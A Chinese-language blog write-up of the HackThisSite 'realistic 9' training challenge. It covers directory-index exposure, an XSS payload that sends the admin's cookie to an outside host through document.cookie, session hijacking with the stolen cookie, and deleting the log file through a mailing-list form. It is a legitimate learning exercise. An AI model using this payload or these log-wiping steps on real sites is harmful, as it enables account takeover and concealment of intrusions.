HackThisSite realistic 9

本文介绍了如何通过分析网站漏洞,利用SQL注入、Apache目录索引和XSS攻击获取管理员权限。在未登录状态下,发现了订阅表单的双重功能,登录后利用PrivateMessage获取了超级管理员账号。最终通过修改Cookie尝试攻击,但未能成功,转而利用XSS攻击获取管理员cookie。成功发放薪水后,利用邮件订阅功能清除日志。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

HackThisSite realistic 9

目标

进入Crappy Soft 网站的在线支付系统,给员工发薪水。但是这个功能只有网站的超级管理员可以使用(即网站的主人),因此我们需要找到网站管理员的登录账号和密码。这个员工提供了他的登录账号和密码。

Username: r-conner@crappysoft.com
Password: ilovemywork

分析网站

网站首页

未登录状态下分析

在没有登录的情况下,我们可以看到这个网站有登录表单,订阅表单(Mailing List),contact提交表单,还有一个软件下载地址(Demo)。

  • 登录表单
    登录表单

  • 订阅表单 这个表单就有点强大了,提交你的邮件地址到邮件列表中,同时删除邮件列表中任何没有‘@’字符的字符串,简单的说就是同时具备了新增删除的功能
    订阅表单

  • contact 提交表单 这个表单分析了一下没什么用
    contact 提交变得

  • 软件下载地址 这里有个下载地址 ./files/downloads/CrappyDemo.exe.zip
    软件下载地址

只要遇到表单就一定要试一下SQL注入,然并。那么就看那个下载地址了,看源码中可以发现这个下载地址指向这里 ./files/downloads/CrappyDemo.exe.zip这么长的路径,就立马想到了apache 目录索引(只要目录中没有配置index页面,那么就会浏览目录结构),搞一下发现这个是可以的。分析了一下这个目录,没有什么有用的信息,只得到有点用邮件列表,网站日志。
Files 目录

登录状态下分析

登录后就可以看到网站多了两个内容,Private Message(私密消息)和 Pay Salaries(支付薪水),还有登录后的cookie信息。激动的点了一下 Pay Salaries,提示我不是管理员,然并。

  • Pay Salaries
    PaySalaries
  • Private Message 啊!这里立马就知道了网站的超级管理员(即:主人)是谁了 m-crap (owner)
    在这里插入图片描述
    网站主人
  • 检查 Cookie 发现有三条信息属于这个网站,即用的账户信息,试了一下密码是md5加密的,然并
    cookie

实施攻击

既然得到了网站管理员的账户 m-crap@crappysoft.com,而且用户信息都保存在了cookie中,那么就可以有的放矢了。有cookie 那么首先想到的就是修改Cookie,将 strUsername 换成管理员的账户,刷新一下网页,然并。既然没有什么用,那就试试另一个方法XSS跨站脚本攻击来获取cookie的信息,假设我可以将获取的cookie 信息存放在csdn官网中,那么攻击脚本就可以这样写

<script>window.location='https://editor.csdn.net?'+document.cookie</script>
  • 攻击开始:在邮件中发送攻击代码给管理员,那么只要管理员查看了这个邮件,我们就可以获取到他登录后的cookie信息了。
    xss攻击

  • 攻击反馈:点击发送后得到了管理员的cookie信息了,哈哈,由于是学习网站,所以该网站就假设你已经的到了cookie。现在就用得到的cookie登录吧。
    xxs反馈

  • 修改Cookie 并发放薪水 点击 Pay 按钮即可完成支付薪水。
    发钱
    发钱后

发完薪水后,网站提示,不要忘记通过订阅清除日志。就是我们上面分析过有删除功能的订阅表单。

清除日志

通过Apache 目录索引漏洞,我们找到了日志文件存放的地方 ./files/logs/logs.txt
logsfile
将这个value换成日志文件存放的地址。
在这里插入图片描述
然后点击订阅,即可完成这次任务
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值